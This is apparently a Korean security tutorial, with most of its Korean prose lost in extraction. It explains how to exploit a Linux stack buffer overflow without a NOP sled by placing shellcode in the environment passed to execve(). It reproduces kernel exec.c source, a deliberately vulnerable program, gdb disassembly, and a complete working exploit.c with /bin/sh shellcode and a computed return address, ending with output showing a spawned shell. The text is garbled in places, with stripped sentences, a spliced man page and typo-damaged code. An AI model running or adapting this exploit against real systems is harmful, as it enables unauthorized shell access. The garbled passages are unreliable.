

-----  
\* : NOP overflow ( )

\* : vangelis(vangelis@wowhacker.org)

\*

-----  
*Netric Security Team* gloomy & The Itch 가 .

overflow

NOP

. 가 overflow

exploit

shellcode

가 , .

NOP

. NOP

, NOP

NOP

. Intel CPU NOP 1 ,

0x90 .

Overflow

가

exploit

system("./vul");

execl(path, args, NULL);

. system()

가

가

. exec\*

가

execve()

execve()

. execve()

execve()

. <http://man.kldp.org/man/man2/execve.2.html>

가

```
[vangelis@localhost test]$ man execve
```

```
execve(2)
```

```
-----
```

## SYNOPSIS

```
#include <unistd.h>
```

```
int execve(const char *filename, char *const argv [], char  
*const envp[]);
```

## DESCRIPTION

`execve()` executes the program pointed to by `filename`. `filename` must be either a binary executable, or a script starting with a line of the form `"#! interpreter [arg]"`. In the latter case, the interpreter must be a valid path-name for an executable which is not itself a script, which will be invoked as `interpreter [arg] filename`.

`argv` is an array of argument strings passed to the new program. `envp` is an array of strings, conventionally of the form `key=value`, which are passed as environment to the new program. Both, `argv` and `envp` must be terminated by a null pointer. The argument vector and environment can be accessed by the called program's `main` function, when it is defined as `int main(int argc, char *argv[], char *envp[])`.

`execve()` does not return on success, and the `text`, `data`, `bss`, and `stack` of the calling process are overwritten by that of the program loaded. The program invoked inherits the calling process's `PID`, and any open file descriptors that are not set to close on `exec`. Signals pending on the

calling process are cleared. Any signals set to be caught by the calling process are reset to their default behaviour. The SIGCHLD signal (when set to SIG\_IGN) may or may not be reset to SIG\_DFL.

If the current program is being ptraced, a SIGTRAP is sent to it after a successful `execve()`.

If the set-uid bit is set on the program file pointed to by filename the effective user ID of the calling process is changed to that of the owner of the program file. Similarly, when the set-gid bit of the program file is set the effective group ID of the calling process is set to the group of the program file.

If the executable is an a.out dynamically-linked binary executable containing shared-library stubs, the Linux dynamic linker `ld.so(8)` is called at the start of execution to bring needed shared libraries into core and link the executable with them.

If the executable is a dynamically-linked ELF executable, the interpreter named in the PT\_INTERP segment is used to load the needed shared libraries. This interpreter is typically `/lib/ld-linux.so.1` for binaries linked with the EACCESS The file system is mounted noexec.

EPERM The file system is mounted nosuid, the user is not the superuser, and the file has an SUID or SGID bit set.

EPERM The process is being traced, the user is not the superuser and the file has an SUID or SGID bit set.

E2BIG The argument list is too big.

#### ENOEXEC

An executable is not in a recognised format, is for the wrong architecture, or has some other format error that means it cannot be executed.

EFAULT filename points outside your accessible address space.

#### ENAMETOOLONG

filename is too long.

ENOENT The file filename or a script or ELF interpreter does not exist, or a shared library needed for file or interpreter cannot be found.

ENOMEM Insufficient kernel memory was available.

#### ENOTDIR

A component of the path prefix of filename or a script or ELF interpreter is not a directory.

EACCES Search permission is denied on a component of the path prefix of filename or the name of a script interpreter.

ELOOP Too many symbolic links were encountered in resolving filename or the name of a script or ELF interpreter.

#### ETXTBSY

Executable was open for writing by one or more processes.

EIO An I/O error occurred.

ENFILE The limit on the total number of files open on the system has been reached.

EMFILE The process has the maximum number of files open.

EINVAL An ELF executable had more than one PT\_INTERP segment.  
ELIBBAD error conditions.

## NOTES

SUID and SGID processes can not be ptrace()d.

Linux ignores the SUID and SGID bits on scripts.

The result of mounting a filesystem nosuid vary between Linux kernel versions: some will refuse execution of SUID/SGID executables when this would give the user powers she did not have already (and return EPERM), some will just ignore the SUID/SGID bits and exec successfully.

A maximum line length of 127 characters is allowed for the first line in a #! executable shell script.

## SEE ALSO

chmod(2), fork(2), execl(3), environ(5), ld.so(8)

Linux 2.0.30

1997-09-03

EXECVE(2)

-----

execve()

execve()

가



*/usr/src/linux/fs/exec.c*

sys\_execve()

```
[vangelis@localhost fs]# cat exec.c
```

```
/*
 * linux/fs/exec.c
 *
 * Copyright (C) 1991, 1992 Linus Torvalds
 */

/*
 * #-checking implemented by tytso.
 */

/*
 * Demand-loading implemented 01.12.91 - no need to read anything but
 * the header into memory. The inode of the executable is put into
 * "current->executable", and page faults do the actual loading. Clean.
 *
 * Once more I can proudly say that linux stood up to being changed: it
 * was less than 2 hours work to get demand-loading completely implemented.
 *
 * Demand loading changed July 1993 by Eric Youngdale. Use mmap instead,
 * current->executable is only used by the procfs. This allows a dispatch
 * table to check for several different types of binary formats. We keep
 * trying until we recognize the file or we run out of supported binary
 * formats.
 */

#include <linux/config.h>
#include <linux/slab.h>
#include <linux/file.h>
#include <linux/mman.h>
#include <linux/a.out.h>
#include <linux/stat.h>
#include <linux/fcntl.h>
```

```
#include <linux/smp_lock.h>
#include <linux/init.h>
#include <linux/pagemap.h>
#include <linux/highmem.h>
#include <linux/spinlock.h>
#include <linux/personality.h>
#include <linux/swap.h>
#define __NO_VERSION__
#include <linux/module.h>

#include <asm/uaccess.h>
#include <asm/pgalloc.h>
#include <asm/mmu_context.h>

#ifdef CONFIG_KMOD
#include <linux/kmod.h>
#endif

int core_uses_pid;

static struct linux_binfmt *formats;
static rwlock_t binfmt_lock = RW_LOCK_UNLOCKED;

int register_binfmt(struct linux_binfmt * fmt)
{
    struct linux_binfmt ** tmp = &formats;

    if (!fmt)
        return -EINVAL;
    if (fmt->next)
        return -EBUSY;
    write_lock(&binfmt_lock);
    while (*tmp) {
        if (fmt == *tmp) {
            write_unlock(&binfmt_lock);
            return -EBUSY;
        }
    }
}
```



```

        }
        tmp = &(*tmp)->next;
    }
    fmt->next = formats;
    formats = fmt;
    write_unlock(&binfmt_lock);
    return 0;
}

```

```

int unregister_binfmt(struct linux_binfmt * fmt)
{
    struct linux_binfmt ** tmp = &formats;

    write_lock(&binfmt_lock);
    while (*tmp) {
        if (fmt == *tmp) {
            *tmp = fmt->next;
            write_unlock(&binfmt_lock);
            return 0;
        }
        tmp = &(*tmp)->next;
    }
    write_unlock(&binfmt_lock);
    return -EINVAL;
}

```

```

static inline void put_binfmt(struct linux_binfmt * fmt)
{
    if (fmt->module)
        __MOD_DEC_USE_COUNT(fmt->module);
}

```

-- --

861: /\*

862: \* sys\_execve() executes a new program.

```

863: */
864: int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)
{
    struct linux_binprm bprm;
    struct file *file;
    int retval;
    int i;

    file = open_exec(filename);

    retval = PTR_ERR(file);
    if (IS_ERR(file))
        return retval;

    bprm.p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
    memset(bprm.page, 0, MAX_ARG_PAGES*sizeof(bprm.page[0]));

    bprm.file = file;
    bprm.filename = filename;
    bprm.sh_bang = 0;
    bprm.loader = 0;
    bprm.exec = 0;
    if ((bprm argc = count(argv, bprm.p / sizeof(void *))) < 0) {
        allow_write_access(file);
        fput(file);
        return bprm argc;
    }

    if ((bprm.envc = count(envp, bprm.p / sizeof(void *))) < 0) {
        allow_write_access(file);
        fput(file);
        return bprm.envc;
    }

    retval = prepare_binprm(&bprm);
    if (retval < 0)

```

```

        goto out;

retval = copy_strings_kernel(1, &bprm.filename, &bprm);
if (retval < 0)
    goto out;

bprm.exec = bprm.p;
retval = copy_strings(bprm.envc, envp, &bprm);
if (retval < 0)
    goto out;

retval = copy_strings(bprm.argc, argv, &bprm);
if (retval < 0)
    goto out;

retval = search_binary_handler(&bprm,regs);
if (retval >= 0)
    /* execve success */
    return retval;

out:
    /* Something went wrong, return the inode and free the argument pages*/
    allow_write_access(bprm.file);
    if (bprm.file)
        fput(bprm.file);

    for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
        struct page * page = bprm.page[i];
        if (page)
            __free_page(page);
    }

    return retval;
}

void set_binfmt(struct linux_binfmt *new)

```

```

{
    struct linux_binfmt *old = current->binfmt;
    if (new && new->module)
        __MOD_INC_USE_COUNT(new->module);
    current->binfmt = new;
    if (old && old->module)
        __MOD_DEC_USE_COUNT(old->module);
}

```

```

int do_coredump(long signr, struct pt_regs * regs)

```

```

{
    struct linux_binfmt * binfmt;
    char corename[6+sizeof(current->comm)+10];
    struct file * file;
    struct inode * inode;
    int retval = 0;

    lock_kernel();
    binfmt = current->binfmt;
    if (!binfmt || !binfmt->core_dump)
        goto fail;
    if (!current->mm->dumpable)
        goto fail;
    current->mm->dumpable = 0;
    if (current->rlim[RLIMIT_CORE].rlim_cur < binfmt->min_coredump)
        goto fail;

    memcpy(corename, "core.", 5);
    corename[4] = '\0';
    if (core_uses_pid || atomic_read(&current->mm->mm_users) != 1)
        sprintf(&corename[4], ".%d", current->pid);
    file = filp_open(corename, O_CREAT | 2 | O_NOFOLLOW, 0600);
    if (IS_ERR(file))
        goto fail;
    inode = file->f_dentry->d_inode;
    if (inode->i_nlink > 1)

```

```

        goto close_fail;      /* multiple links - don't dump */
if (d_unhashed(file->f_dentry))
    goto close_fail;

if (!S_ISREG(inode->i_mode))
    goto close_fail;
if (!file->f_op)
    goto close_fail;
if (!file->f_op->write)
    goto close_fail;
if (do_truncate(file->f_dentry, 0) != 0)
    goto close_fail;

retval = binfmt->core_dump(signr, regs, file);

close_fail:
    filp_close(file, NULL);
fail:
    unlock_kernel();
    return retval;
}

```

---

```

linux_binprm      p      가      page      , void
,      execve()
0xc0000000 - 0x04
sys_execve()
bprm.p = PAGE_SIZE*MAX_ARG_PAGES - sizeof(void *);

linux_binprm(/include/linux/binfmts.h)

```

```

[vangelis@localhost linux]# cat binfmts.h
#ifndef _LINUX_BINFMTS_H
#define _LINUX_BINFMTS_H

#include <linux/ptrace.h>
#include <linux/capability.h>

/*
 * MAX_ARG_PAGES defines the number of pages allocated for arguments
 * and envelope for the new program. 32 should suffice, this gives
 * a maximum env+arg of 128kB w/4KB pages!
 */
#define MAX_ARG_PAGES 32

/* sizeof(linux_binprm->buf) */
#define BINPRM_BUF_SIZE 128

#ifdef __KERNEL__

struct mm_struct;

/*
 * This structure is used to hold the arguments that are used when loading binaries.
 */
struct linux_binprm{
    char buf[BINPRM_BUF_SIZE];
    struct page *page[MAX_ARG_PAGES];
    unsigned long p; /* current top of mem */
    int sh_bang;
    struct file * file;
    int e_uid, e_gid;
    kernel_cap_t cap_inheritable, cap_permitted, cap_effective;
    int argc, envc;
    char * filename; /* Name of binary */
    unsigned long loader, exec;
};

```

```

/*
 * This structure defines the functions that are used to load the binary formats that
 * linux accepts.
 */
struct linux_binfmt {
    struct linux_binfmt * next;
    struct module * module;
    int (*load_binary)(struct linux_binprm *, struct pt_regs * regs);
    int (*load_shlib)(struct file *);
    int (*core_dump)(long signr, struct pt_regs * regs, struct file * file);
    unsigned long min_coredump;    /* minimal dump size */
};

extern int register_binfmt(struct linux_binfmt *);
extern int unregister_binfmt(struct linux_binfmt *);

extern int prepare_binprm(struct linux_binprm *);
extern void remove_arg_zero(struct linux_binprm *);
extern int search_binary_handler(struct linux_binprm *, struct pt_regs *);
extern int flush_old_exec(struct linux_binprm * bprm);
extern int setup_arg_pages(struct linux_binprm * bprm);
extern int copy_strings(int argc, char ** argv, struct linux_binprm * bprm);
extern int copy_strings_kernel(int argc, char ** argv, struct linux_binprm * bprm);
extern void compute_creds(struct linux_binprm * binprm);
extern int do_coredump(long signr, struct pt_regs * regs);
extern void set_binfmt(struct linux_binfmt * new);

#if 0
/* this went away now */
#define change_ldt(a,b) setup_arg_pages(a,b)
#endif

#endif /* __KERNEL__ */
#endif /* _LINUX_BINFMTS_H */

```

## linux\_binprm

```
/*  
 * This structure is used to hold the arguments that are used when loading binaries.  
 */
```

```
1: struct linux_binprm{  
2:     char buf[BINPRM_BUF_SIZE];  
3:     struct page *page[MAX_ARG_PAGES];  
4:     unsigned long p; /* current top of mem */  
5:     int sh_bang;  
6:     struct file * file;  
7:     int e_uid, e_gid;  
8:     kernel_cap_t cap_inheritable, cap_permitted, cap_effective;  
9:     int argc, envc;  
10:    char * filename; /* Name of binary */  
11:    unsigned long loader, exec;  
12: };
```

2	buf	shell script
3	page[]	
page	가	가 가 page
32	linux_binprm	"#define MAX_ARG_PAGES 32"
4	p	가 page 5 shell
script	1	0 6
descriptor	7	effective user ID effective group
ID	9	10



```
retval = copy_strings_kernel(1, &bprm.filename, &bprm);
```

```
0xc0000000 - 0x04 - sizeof(file_that_gets_executed).
```

```
execve()
```

```
retval = copy_strings(bprm.envc, envp, &bprm);
```

```
retval = copy_strings(bprm.argc, argv, &bprm);
```

가

```
0xc0000000 - 0x04 - sizeof(file_that_gets_executed) - sizeof(shellcode)
```

가

가

exploit

```
[vangelis@localhost test]$ vi vuln.c
```

```
1: #include <stdio.h>
```

```
2: #include <stdlib.h>
```

```
3:
```

```
4: int main(int argc, char *argv[])
```

```
5: {
```

```
6: char buf[100];
```

```
7: if(!(argc > 1)) {
```

```
8:     printf("gone --> no args!\n");
```

```
9:     exit(1);
```

```
10: }
```

```
11: if((getenv("HOME") == NULL)) {
```

```

12:     printf("no getenv!\n");
13:     exit(1);
14: }
15: strcpy(buf, argv[1]);
16: printf("done!\n");
17: return 0;
18: }

```

---

11~13

가 , 가 가

RedHat

가

가

RedHat 8

가

. RedHat 9

CD Writer가

9

. ^^

```

0x80483c7 <main+3>:  sub  $0x78,%esp

```

0x78

10

120

가 120

, eip

128

disassemble

```

[vangelis@localhost test]$ gcc -o vuln vuln.c

```

```

[vangelis@localhost test]$ gdb ./vuln

```

GNU gdb Red Hat Linux (5.2.1-4)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux"...

(gdb) disas main

Dump of assembler code for function main:

```
0x80483c4 <main>:      push   %ebp
0x80483c5 <main+1>:     mov    %esp,%ebp
0x80483c7 <main+3>:     sub    $0x78,%esp
0x80483ca <main+6>:     and    $0xffffffff0,%esp
0x80483cd <main+9>:      mov    $0x0,%eax
0x80483d2 <main+14>:    sub    %eax,%esp
0x80483d4 <main+16>:    cmpl  $0x1,0x8(%ebp)
0x80483d8 <main+20>:    jg    0x80483f4 <main+48>
0x80483da <main+22>:    sub    $0xc,%esp
0x80483dd <main+25>:    push  $0x8048498
0x80483e2 <main+30>:    call  0x80482e4 <printf>
0x80483e7 <main+35>:    add   $0x10,%esp
0x80483ea <main+38>:    sub   $0xc,%esp
0x80483ed <main+41>:    push  $0x1
0x80483ef <main+43>:    call  0x80482f4 <exit>
0x80483f4 <main+48>:    sub   $0xc,%esp
0x80483f7 <main+51>:    push  $0x80484ab
0x80483fc <main+56>:    call  0x80482c4 <getenv>
0x8048401 <main+61>:    add   $0x10,%esp
0x8048404 <main+64>:    test  %eax,%eax
0x8048406 <main+66>:    jne   0x8048422 <main+94>
0x8048408 <main+68>:    sub   $0xc,%esp
0x804840b <main+71>:    push  $0x80484b0
0x8048410 <main+76>:    call  0x80482e4 <printf>
0x8048415 <main+81>:    add   $0x10,%esp
0x8048418 <main+84>:    sub   $0xc,%esp
0x804841b <main+87>:    push  $0x1
0x804841d <main+89>:    call  0x80482f4 <exit>
0x8048422 <main+94>:    sub   $0x8,%esp
0x8048425 <main+97>:    mov   0xc(%ebp),%eax
0x8048428 <main+100>:   add   $0x4,%eax
0x804842b <main+103>:   pushl (%eax)
```

```
0x804842d <main+105>:   lea    0xffffffff88(%ebp),%eax
0x8048430 <main+108>:   push  %eax
0x8048431 <main+109>:   call  0x8048304 <strcpy>
0x8048436 <main+114>:   add    $0x10,%esp
0x8048439 <main+117>:   sub    $0xc,%esp
0x804843c <main+120>:   push  $0x80484bc
0x8048441 <main+125>:   call  0x80482e4 <printf>
0x8048446 <main+130>:   add    $0x10,%esp
0x8048449 <main+133>:   mov    $0x0,%eax
0x804844e <main+138>:   leave
0x804844f <main+139>:   ret
```

End of assembler dump.

(gdb)

exploit .

[vangelis@localhost test]\$ vi exploit.c

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <unistd.h>
```

```
#define BUFSIZE 120
```

```
char shell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
              "\x68\x2f\x62\x69\x6e\x89\xe3\x89"
              "\x64\x24\x0c\x89\x44\x24\x10\x8d"
              "\x4c\x24\x0c\x8b\x54\x24\x08\xb0"
              "\x0b\xcd\x80";
```

```
int main(void)
```

```
{
```

```
char buf[BUFSIZE+12];
```

```
char *prog[] = { "./vuln", buf, NULL};
```

```
char *env[] = {"HOME=BLA", shell, NULL};
```

```
unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -
```

```
strlen(shell) - 0x02; /* 0x02          strlen()  0x00          , */
                    /* prog[0]   shell[]          . */
```

```
memset(buf,0x41,sizeof(buf));
memcpy(buf+BUFSIZE+4,(char *)&ret,4);
buf[BUFSIZE+8] = 0x00;
```

```
execve(prog[0],prog,env);
return 0;
}
```

---

```
[vangelis@localhost test]$ gcc -o exploit exploit.c
[vangelis@localhost test]$ ./exploit
done!
sh-2.05b$
```

exploit

```
unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -
strlen(shell) - 0x02;
```

NOP

NOP

가

Aleph One

NOP

Aleph One

LIFO(Last In First Out)

가

```

|-----| --> , 0xc0000000(esp)
| 0x04 | --> esp 0xbffffffc
| sizeof(prog[0]) | --> (vuln = 4 bytes long esp is now at: 0xbffffff8)
| second env string | --> (45 = 0x2d). esp 0xbffffffcb - 0x02
| first env string | --> "HOME=BLA", .
|-----|

```

unsigned long ret = 0xc0000000 - sizeof(void \*) - strlen(prog[0]) - strlen(shell) - 0x02;

= **- void** - - **- 0x02;**

= 0xc0000000 - 0x04 - 0x04 - 0x2d( 45 , 16 0x2d ) - 0x02

= **0xbffffffc9**

가 . . .